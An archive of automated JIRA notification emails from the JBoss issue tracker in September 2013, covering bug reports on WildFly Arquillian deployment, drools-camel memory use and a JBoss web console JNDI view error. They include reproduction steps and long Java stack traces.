> 	at javax.faces.FactoryFinder.newFactoryInstance(FactoryFinder.java:311) [myfaces-api-2.1.1.jar:]
> 	at javax.faces.FactoryFinder._getFactory(FactoryFinder.java:277) [myfaces-api-2.1.1.jar:]
> 	at javax.faces.FactoryFinder.getFactory(FactoryFinder.java:200) [myfaces-api-2.1.1.jar:]
> 	at org.apache.myfaces.config.FacesConfigurator.configureApplication(FacesConfigurator.java:489) [myfaces-impl-2.1.1.jar:]
> 	at org.apache.myfaces.config.FacesConfigurator.configure(FacesConfigurator.java:401) [myfaces-impl-2.1.1.jar:]
> 	at org.apache.myfaces.webapp.AbstractFacesInitializer.buildConfiguration(AbstractFacesInitializer.java:309) [myfaces-impl-2.1.1.jar:]
> 	at org.apache.myfaces.webapp.Jsp21FacesInitializer.initContainerIntegration(Jsp21FacesInitializer.java:73) [myfaces-impl-2.1.1.jar:]
> 	at org.apache.myfaces.webapp.AbstractFacesInitializer.initFaces(AbstractFacesInitializer.java:125) [myfaces-impl-2.1.1.jar:]
> 	at org.apache.myfaces.webapp.StartupServletContextListener.contextInitialized(StartupServletContextListener.java:111) [myfaces-impl-2.1.1.jar:]
> 	at org.apache.catalina.core.StandardContext.contextListenerStart(StandardContext.java:3368) [jbossweb-7.0.1.Final.jar:7.0.1.Final]
> 	at org.apache.catalina.core.StandardContext.start(StandardContext.java:3821) [jbossweb-7.0.1.Final.jar:7.0.1.Final]
> 	at org.jboss.as.web.deployment.WebDeploymentService.start(WebDeploymentService.java:70) [jboss-as-web-7.0.1.Final.jar:7.0.1.Final]
> 	at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1765)
> 	at org.jboss.msc.service.ServiceControllerImpl$ClearTCCLTask.run(ServiceControllerImpl.java:2291)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886) [:1.6.0_24]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908) [:1.6.0_24]
> 	at java.lang.Thread.run(Thread.java:662) [:1.6.0_24]
> 12:33:11,725 INFO  [org.jboss.web] (MSC service thread 1-6) registering web context: /hellomyfaces
> 12:33:11,770 INFO  [org.jboss.as.server.controller] (DeploymentScanner-threads - 2) Deployed "hellomyfaces.war"
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 07:53:03 2013
From: jira-events at lists.jboss.org (Thomas Diesler (JIRA))
Date: Fri, 6 Sep 2013 07:53:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2020) ARQ container cannot fetch
 deployment from client side any more
In-Reply-To: <JIRA.12500206.1378468358399@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500206.1378468358399@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500206.1378468358399.13019.1378468383380@jira02.app.mwc.hst.phx2.redhat.com>

Thomas Diesler created WFLY-2020:
------------------------------------

             Summary: ARQ container cannot fetch deployment from client side any more
                 Key: WFLY-2020
                 URL: https://issues.jboss.org/browse/WFLY-2020
             Project: WildFly
          Issue Type: Bug
            Reporter: Thomas Diesler
            Assignee: Darran Lofthouse
            Priority: Blocker
             Fix For: 8.0.0.Beta1


This is likely due to a change in the JMX layer. All tests fail here

{code}
    @ArquillianResource
    public Deployer deployer;

    InputStream input = deployer.getDeployment(BUNDLE_A);
{code}

AFACS, there is only plain ARQ and JMX code involved.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 07:57:03 2013
From: jira-events at lists.jboss.org (Thomas Diesler (JIRA))
Date: Fri, 6 Sep 2013 07:57:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2020) ARQ container cannot fetch
 deployment from client side any more
In-Reply-To: <JIRA.12500206.1378468358000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500206.1378468358000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500206.1378468358000.13024.1378468623383@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2020?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802244#comment-12802244 ] 

Thomas Diesler commented on WFLY-2020:
--------------------------------------

To reproduce you can checkout https://github.com/tdiesler/jbosgi/tree/next and run 

{code}
mvn -Dtarget.container=wildfly800 clean test
{code}

you should see failures in the example test suite. The osgi patched wildfly instance is in the target directory of the respective test module. The wildfly/build/target directory contains the wildfly-osgi patch in case you want to work with your wildfly instance.

The test can be run against a running server if you start it like this

{code}
bin/standalone.sh -c standalone-osgi.xml
{code}

                
> ARQ container cannot fetch deployment from client side any more
> ---------------------------------------------------------------
>
>                 Key: WFLY-2020
>                 URL: https://issues.jboss.org/browse/WFLY-2020
>             Project: WildFly
>          Issue Type: Bug
>            Reporter: Thomas Diesler
>            Assignee: Darran Lofthouse
>            Priority: Blocker
>             Fix For: 8.0.0.Beta1
>
>
> This is likely due to a change in the JMX layer. All tests fail here
> {code}
>     @ArquillianResource
>     public Deployer deployer;
>     InputStream input = deployer.getDeployment(BUNDLE_A);
> {code}
> AFACS, there is only plain ARQ and JMX code involved.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 08:49:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 6 Sep 2013 08:49:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBRULES-3699) Large memory allocation
 per request in drools-camel-server
In-Reply-To: <JIRA.12480200.1354270938000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12480200.1354270938000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12480200.1354270938000.13123.1378471743882@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JBRULES-3699?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802261#comment-12802261 ] 

RH Bugzilla Integration commented on JBRULES-3699:
--------------------------------------------------

Edson Tirelli <etirelli at redhat.com> made a comment on [bug 958387|https://bugzilla.redhat.com/show_bug.cgi?id=958387]

Mario, can you please take a look at this one? Is this still happening in 6?
                
> Large memory allocation per request in drools-camel-server
> ----------------------------------------------------------
>
>                 Key: JBRULES-3699
>                 URL: https://issues.jboss.org/browse/JBRULES-3699
>             Project: JBRULES
>          Issue Type: Quality Risk
>      Security Level: Public(Everyone can see) 
>          Components: drools-camel
>    Affects Versions: 5.4.0.Final
>            Reporter: Toshiya Kobayashi
>            Assignee: Mark Proctor
>         Attachments: JBoss_Benchmark_Request.xml, numbers.drl
>
>
> In drools-camel-server, memory allocation during request/response message handling is quite larger than actual request/response size.
> For example, with attached numbers.drl and JBoss_Benchmark_Request.xml, one SOAP request results in 45MB+ object allocation while the actual request size is 200KB and the response size is 650KB. They are short-lived objects so wouldn't be a memory leak but affect performance especially under high load.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 09:27:03 2013
From: jira-events at lists.jboss.org (Marco Bazzani (JIRA))
Date: Fri, 6 Sep 2013 09:27:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBAS-9547) Web Console JNDI view
 classnotfoundexcpetion
In-Reply-To: <JIRA.12500212.1378473928825@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500212.1378473928825@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500212.1378473928825.13239.1378474023362@jira02.app.mwc.hst.phx2.redhat.com>

Marco Bazzani created JBAS-9547:
-----------------------------------

             Summary: Web Console JNDI view classnotfoundexcpetion
                 Key: JBAS-9547
                 URL: https://issues.jboss.org/browse/JBAS-9547
             Project: Application Server 3  4  5 and 6
          Issue Type: Bug
      Security Level: Public (Everyone can see)
          Components: Web Console
    Affects Versions: 6.1.0
         Environment: any
            Reporter: Marco Bazzani


JNDI View button in web console doesn't work

To reproduce:

add 
{code:xml}
        <subsystem xmlns="urn:jboss:domain:naming:1.3">
            <bindings>
                <lookup name="java:/ejb/BaseModuleBcpModulesFacade" lookup="ejb:basemodule-core/basemodule-core-ejb/BaseModuleBcpModulesFacade!it.ebilling.basemodule.business.authorization.IAuthorizationManagementFacadeRemote"/>
            </bindings>
        </subsystem>
{code}
click on jndi view and you'll got the following error:

{code}

15:21:31,128 ERROR [org.jboss.as.controller.management-operation] (HttpManagementService-threads - 2) JBAS014612: Operation ("jndi-view") failed - address: ([("subsystem" => "naming")]): java.lang.RuntimeException: javax.naming.NamingExc
eption: EJBCLIENT000037: Could not load ejb proxy class it.ebilling.basemodule.business.autenticate.facade.IBaseModuleAuthenticateFacadeRemote [Root exception is java.lang.ClassNotFoundException: it.ebilling.basemodule.business.autentica
te.facade.IBaseModuleAuthenticateFacadeRemote from [Module "org.jboss.as.naming:main" from local module loader @70764922 (finder: local module finder @65bb90dc (roots: C:\Users\mbazzani\jboss-eap-6.1\modules,C:\Users\mbazzani\jboss-eap-6
.1\modules\system\layers\base))]]
        at org.jboss.as.naming.subsystem.NamingBindingAdd$2.getReference(NamingBindingAdd.java:252)
        at org.jboss.as.naming.subsystem.NamingBindingAdd$2.getInstanceClassName(NamingBindingAdd.java:258)
        at org.jboss.as.naming.ServiceBasedNamingStore.list(ServiceBasedNamingStore.java:175)
        at org.jboss.as.naming.NamingContext.list(NamingContext.java:322)
        at org.jboss.as.naming.NamingContext.list(NamingContext.java:338)
        at org.jboss.as.naming.management.JndiViewOperation.addEntries(JndiViewOperation.java:125)
        at org.jboss.as.naming.management.JndiViewOperation.addEntries(JndiViewOperation.java:139)
        at org.jboss.as.naming.management.JndiViewOperation.access$000(JndiViewOperation.java:49)
        at org.jboss.as.naming.management.JndiViewOperation$1.execute(JndiViewOperation.java:66)
        at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:440) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:322) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:229) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:224) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.controller.ModelControllerImpl.internalExecute(ModelControllerImpl.java:194) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.controller.ModelControllerImpl.execute(ModelControllerImpl.java:115) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.controller.ModelControllerImpl$3.execute(ModelControllerImpl.java:398) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.controller.ModelControllerImpl$3.execute(ModelControllerImpl.java:388) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.domain.http.server.DomainApiHandler.processRequest(DomainApiHandler.java:320) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.domain.http.server.DomainApiHandler.doHandle(DomainApiHandler.java:226) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.domain.http.server.DomainApiHandler.handle(DomainApiHandler.java:233) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.domain.http.server.security.SubjectAssociationHandler.handle(SubjectAssociationHandler.java:51) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.com.sun.net.httpserver.Filter$Chain.doFilter(Filter.java:78)
        at org.jboss.sun.net.httpserver.AuthFilter.doFilter(AuthFilter.java:69)
        at org.jboss.com.sun.net.httpserver.Filter$Chain.doFilter(Filter.java:81)
        at org.jboss.sun.net.httpserver.ServerImpl$Exchange$LinkHandler.handle(ServerImpl.java:710)
        at org.jboss.com.sun.net.httpserver.Filter$Chain.doFilter(Filter.java:78)
        at org.jboss.as.domain.http.server.RealmReadinessFilter.doFilter(RealmReadinessFilter.java:47) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.domain.http.server.DmrFailureReadinessFilter.doFilter(DmrFailureReadinessFilter.java:45) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.com.sun.net.httpserver.Filter$Chain.doFilter(Filter.java:81)
        at org.jboss.sun.net.httpserver.ServerImpl$Exchange.run(ServerImpl.java:682)
        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_25]
        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_25]
        at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_25]
        at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.0.Final-redhat-1.jar:2.1.0.Final-redhat-1]
Caused by: javax.naming.NamingException: EJBCLIENT000037: Could not load ejb proxy class it.ebilling.basemodule.business.autenticate.facade.IBaseModuleAuthenticateFacadeRemote [Root exception is java.lang.ClassNotFoundException: it.ebill
ing.basemodule.business.autenticate.facade.IBaseModuleAuthenticateFacadeRemote from [Module "org.jboss.as.naming:main" from local module loader @70764922 (finder: local module finder @65bb90dc (roots: C:\Users\mbazzani\jboss-eap-6.1\modu
les,C:\Users\mbazzani\jboss-eap-6.1\modules\system\layers\base))]]
        at org.jboss.ejb.client.naming.ejb.EjbNamingContext.createEjbProxy(EjbNamingContext.java:188)
        at org.jboss.ejb.client.naming.ejb.EjbNamingContext.lookup(EjbNamingContext.java:176)
        at org.jboss.ejb.client.naming.ejb.EjbNamingContext.lookup(EjbNamingContext.java:147)
        at org.jboss.as.naming.InitialContext.lookup(InitialContext.java:101)
        at org.jboss.as.naming.NamingContext.lookup(NamingContext.java:183)
        at org.jboss.as.naming.NamingContext.lookup(NamingContext.java:179)
        at javax.naming.InitialContext.lookup(InitialContext.java:411) [rt.jar:1.7.0_25]
        at org.jboss.as.naming.subsystem.NamingBindingAdd$2.getReference(NamingBindingAdd.java:249)
        ... 33 more
Caused by: java.lang.ClassNotFoundException: it.ebilling.basemodule.business.autenticate.facade.IBaseModuleAuthenticateFacadeRemote from [Module "org.jboss.as.naming:main" from local module loader @70764922 (finder: local module finder @
65bb90dc (roots: C:\Users\mbazzani\jboss-eap-6.1\modules,C:\Users\mbazzani\jboss-eap-6.1\modules\system\layers\base))]
        at org.jboss.modules.ModuleClassLoader.findClass(ModuleClassLoader.java:196) [jboss-modules.jar:1.2.0.Final-redhat-1]
        at org.jboss.modules.ConcurrentClassLoader.performLoadClassUnchecked(ConcurrentClassLoader.java:444) [jboss-modules.jar:1.2.0.Final-redhat-1]
        at org.jboss.modules.ConcurrentClassLoader.performLoadClassChecked(ConcurrentClassLoader.java:432) [jboss-modules.jar:1.2.0.Final-redhat-1]
        at org.jboss.modules.ConcurrentClassLoader.performLoadClass(ConcurrentClassLoader.java:374) [jboss-modules.jar:1.2.0.Final-redhat-1]
        at org.jboss.modules.ConcurrentClassLoader.loadClass(ConcurrentClassLoader.java:119) [jboss-modules.jar:1.2.0.Final-redhat-1]
        at java.lang.Class.forName0(Native Method) [rt.jar:1.7.0_25]
        at java.lang.Class.forName(Class.java:270) [rt.jar:1.7.0_25]
        at org.jboss.ejb.client.naming.ejb.EjbNamingContext.createEjbProxy(EjbNamingContext.java:186)
        ... 40 more


{code}

The problem occurs in any case if the basemodule-core.ear is deployed or not.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 09:37:03 2013
From: jira-events at lists.jboss.org (Thomas Diesler (JIRA))
Date: Fri, 6 Sep 2013 09:37:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2020) ARQ container cannot fetch
 deployment from client side any more
In-Reply-To: <JIRA.12500206.1378468358000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500206.1378468358000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500206.1378468358000.13267.1378474623928@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2020?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Thomas Diesler updated WFLY-2020:
---------------------------------

    Description: 
This is likely due to a change in the JMX layer. All tests fail here

{code}
    @ArquillianResource
    public Deployer deployer;

    InputStream input = deployer.getDeployment(BUNDLE_A);
{code}

AFAICS, there is only plain ARQ and JMX code involved.

  was:
This is likely due to a change in the JMX layer. All tests fail here

{code}
    @ArquillianResource
    public Deployer deployer;

    InputStream input = deployer.getDeployment(BUNDLE_A);
{code}

AFACS, there is only plain ARQ and JMX code involved.


    
> ARQ container cannot fetch deployment from client side any more
> ---------------------------------------------------------------
>
>                 Key: WFLY-2020
>                 URL: https://issues.jboss.org/browse/WFLY-2020
>             Project: WildFly
>          Issue Type: Bug
>            Reporter: Thomas Diesler
>            Assignee: Darran Lofthouse
>            Priority: Blocker
>             Fix For: 8.0.0.Beta1
>
>
> This is likely due to a change in the JMX layer. All tests fail here
> {code}
>     @ArquillianResource
>     public Deployer deployer;
>     InputStream input = deployer.getDeployment(BUNDLE_A);
> {code}
> AFAICS, there is only plain ARQ and JMX code involved.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 09:37:04 2013
From: jira-events at lists.jboss.org (Thomas Diesler (JIRA))
Date: Fri, 6 Sep 2013 09:37:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2020) ARQ container cannot fetch
 deployment from client side any more
In-Reply-To: <JIRA.12500206.1378468358000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500206.1378468358000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500206.1378468358000.13269.1378474624081@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2020?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802244#comment-12802244 ] 

Thomas Diesler edited comment on WFLY-2020 at 9/6/13 9:35 AM:
--------------------------------------------------------------

To reproduce you can checkout https://github.com/tdiesler/jbosgi/tree/next and run 

{code}
mvn -Dtarget.container=wildfly800 clean install
{code}

you should see failures in the example test suite. The osgi patched wildfly instance is in the target directory of the respective test module. The wildfly/build/target directory contains the wildfly-osgi patch in case you want to work with your wildfly instance.

The test can be run against a running server if you start it like this

{code}
bin/standalone.sh -c standalone-osgi.xml
{code}

                
      was (Author: thomas.diesler):
    To reproduce you can checkout https://github.com/tdiesler/jbosgi/tree/next and run 

{code}
mvn -Dtarget.container=wildfly800 clean test
{code}

you should see failures in the example test suite. The osgi patched wildfly instance is in the target directory of the respective test module. The wildfly/build/target directory contains the wildfly-osgi patch in case you want to work with your wildfly instance.

The test can be run against a running server if you start it like this

{code}
bin/standalone.sh -c standalone-osgi.xml
{code}

                  
> ARQ container cannot fetch deployment from client side any more
> ---------------------------------------------------------------
>
>                 Key: WFLY-2020
>                 URL: https://issues.jboss.org/browse/WFLY-2020
>             Project: WildFly
>          Issue Type: Bug
>            Reporter: Thomas Diesler
>            Assignee: Darran Lofthouse
>            Priority: Blocker
>             Fix For: 8.0.0.Beta1
>
>
> This is likely due to a change in the JMX layer. All tests fail here
> {code}
>     @ArquillianResource
>     public Deployer deployer;
>     InputStream input = deployer.getDeployment(BUNDLE_A);
> {code}
> AFAICS, there is only plain ARQ and JMX code involved.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 09:41:03 2013
From: jira-events at lists.jboss.org (Marco Bazzani (JIRA))
Date: Fri, 6 Sep 2013 09:41:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBAS-9547) Web Console JNDI view
 classnotfoundexcpetion
In-Reply-To: <JIRA.12500212.1378473928000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500212.1378473928000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500212.1378473928000.13274.1378474863564@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JBAS-9547?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Marco Bazzani updated JBAS-9547:
--------------------------------

    Workaround:   (was: Workaround Exists)

    
> Web Console JNDI view classnotfoundexcpetion
> --------------------------------------------
>
>                 Key: JBAS-9547
>                 URL: https://issues.jboss.org/browse/JBAS-9547
>             Project: Application Server 3  4  5 and 6
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>          Components: Web Console
>    Affects Versions: 6.1.0
>         Environment: any
>            Reporter: Marco Bazzani
>              Labels: console, jndi
>
> JNDI View button in web console doesn't work
> To reproduce:
> add 
> {code:xml}
>         <subsystem xmlns="urn:jboss:domain:naming:1.3">
>             <bindings>
>                 <lookup name="java:/ejb/BaseModuleBcpModulesFacade" lookup="ejb:basemodule-core/basemodule-core-ejb/BaseModuleBcpModulesFacade!it.ebilling.basemodule.business.authorization.IAuthorizationManagementFacadeRemote"/>
>             </bindings>
>         </subsystem>
> {code}
> click on jndi view and you'll got the following error:
> {code}
> 15:21:31,128 ERROR [org.jboss.as.controller.management-operation] (HttpManagementService-threads - 2) JBAS014612: Operation ("jndi-view") failed - address: ([("subsystem" => "naming")]): java.lang.RuntimeException: javax.naming.NamingExc
> eption: EJBCLIENT000037: Could not load ejb proxy class it.ebilling.basemodule.business.autenticate.facade.IBaseModuleAuthenticateFacadeRemote [Root exception is java.lang.ClassNotFoundException: it.ebilling.basemodule.business.autentica
> te.facade.IBaseModuleAuthenticateFacadeRemote from [Module "org.jboss.as.naming:main" from local module loader @70764922 (finder: local module finder @65bb90dc (roots: C:\Users\mbazzani\jboss-eap-6.1\modules,C:\Users\mbazzani\jboss-eap-6
> .1\modules\system\layers\base))]]
>         at org.jboss.as.naming.subsystem.NamingBindingAdd$2.getReference(NamingBindingAdd.java:252)
>         at org.jboss.as.naming.subsystem.NamingBindingAdd$2.getInstanceClassName(NamingBindingAdd.java:258)
>         at org.jboss.as.naming.ServiceBasedNamingStore.list(ServiceBasedNamingStore.java:175)
>         at org.jboss.as.naming.NamingContext.list(NamingContext.java:322)
>         at org.jboss.as.naming.NamingContext.list(NamingContext.java:338)
>         at org.jboss.as.naming.management.JndiViewOperation.addEntries(JndiViewOperation.java:125)
>         at org.jboss.as.naming.management.JndiViewOperation.addEntries(JndiViewOperation.java:139)
>         at org.jboss.as.naming.management.JndiViewOperation.access$000(JndiViewOperation.java:49)
>         at org.jboss.as.naming.management.JndiViewOperation$1.execute(JndiViewOperation.java:66)
>         at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:440) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:322) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:229) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:224) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.controller.ModelControllerImpl.internalExecute(ModelControllerImpl.java:194) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.controller.ModelControllerImpl.execute(ModelControllerImpl.java:115) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.controller.ModelControllerImpl$3.execute(ModelControllerImpl.java:398) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.controller.ModelControllerImpl$3.execute(ModelControllerImpl.java:388) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.domain.http.server.DomainApiHandler.processRequest(DomainApiHandler.java:320) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.domain.http.server.DomainApiHandler.doHandle(DomainApiHandler.java:226) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.domain.http.server.DomainApiHandler.handle(DomainApiHandler.java:233) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.domain.http.server.security.SubjectAssociationHandler.handle(SubjectAssociationHandler.java:51) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.com.sun.net.httpserver.Filter$Chain.doFilter(Filter.java:78)
>         at org.jboss.sun.net.httpserver.AuthFilter.doFilter(AuthFilter.java:69)
>         at org.jboss.com.sun.net.httpserver.Filter$Chain.doFilter(Filter.java:81)
>         at org.jboss.sun.net.httpserver.ServerImpl$Exchange$LinkHandler.handle(ServerImpl.java:710)
>         at org.jboss.com.sun.net.httpserver.Filter$Chain.doFilter(Filter.java:78)
>         at org.jboss.as.domain.http.server.RealmReadinessFilter.doFilter(RealmReadinessFilter.java:47) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.domain.http.server.DmrFailureReadinessFilter.doFilter(DmrFailureReadinessFilter.java:45) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.com.sun.net.httpserver.Filter$Chain.doFilter(Filter.java:81)
>         at org.jboss.sun.net.httpserver.ServerImpl$Exchange.run(ServerImpl.java:682)
>         at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_25]
>         at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_25]
>         at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_25]
>         at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.0.Final-redhat-1.jar:2.1.0.Final-redhat-1]
> Caused by: javax.naming.NamingException: EJBCLIENT000037: Could not load ejb proxy class it.ebilling.basemodule.business.autenticate.facade.IBaseModuleAuthenticateFacadeRemote [Root exception is java.lang.ClassNotFoundException: it.ebill
> ing.basemodule.business.autenticate.facade.IBaseModuleAuthenticateFacadeRemote from [Module "org.jboss.as.naming:main" from local module loader @70764922 (finder: local module finder @65bb90dc (roots: C:\Users\mbazzani\jboss-eap-6.1\modu
> les,C:\Users\mbazzani\jboss-eap-6.1\modules\system\layers\base))]]
>         at org.jboss.ejb.client.naming.ejb.EjbNamingContext.createEjbProxy(EjbNamingContext.java:188)
>         at org.jboss.ejb.client.naming.ejb.EjbNamingContext.lookup(EjbNamingContext.java:176)
>         at org.jboss.ejb.client.naming.ejb.EjbNamingContext.lookup(EjbNamingContext.java:147)
>         at org.jboss.as.naming.InitialContext.lookup(InitialContext.java:101)
>         at org.jboss.as.naming.NamingContext.lookup(NamingContext.java:183)
>         at org.jboss.as.naming.NamingContext.lookup(NamingContext.java:179)
>         at javax.naming.InitialContext.lookup(InitialContext.java:411) [rt.jar:1.7.0_25]
>         at org.jboss.as.naming.subsystem.NamingBindingAdd$2.getReference(NamingBindingAdd.java:249)
>         ... 33 more
> Caused by: java.lang.ClassNotFoundException: it.ebilling.basemodule.business.autenticate.facade.IBaseModuleAuthenticateFacadeRemote from [Module "org.jboss.as.naming:main" from local module loader @70764922 (finder: local module finder @
> 65bb90dc (roots: C:\Users\mbazzani\jboss-eap-6.1\modules,C:\Users\mbazzani\jboss-eap-6.1\modules\system\layers\base))]
>         at org.jboss.modules.ModuleClassLoader.findClass(ModuleClassLoader.java:196) [jboss-modules.jar:1.2.0.Final-redhat-1]
>         at org.jboss.modules.ConcurrentClassLoader.performLoadClassUnchecked(ConcurrentClassLoader.java:444) [jboss-modules.jar:1.2.0.Final-redhat-1]
>         at org.jboss.modules.ConcurrentClassLoader.performLoadClassChecked(ConcurrentClassLoader.java:432) [jboss-modules.jar:1.2.0.Final-redhat-1]
>         at org.jboss.modules.ConcurrentClassLoader.performLoadClass(ConcurrentClassLoader.java:374) [jboss-modules.jar:1.2.0.Final-redhat-1]
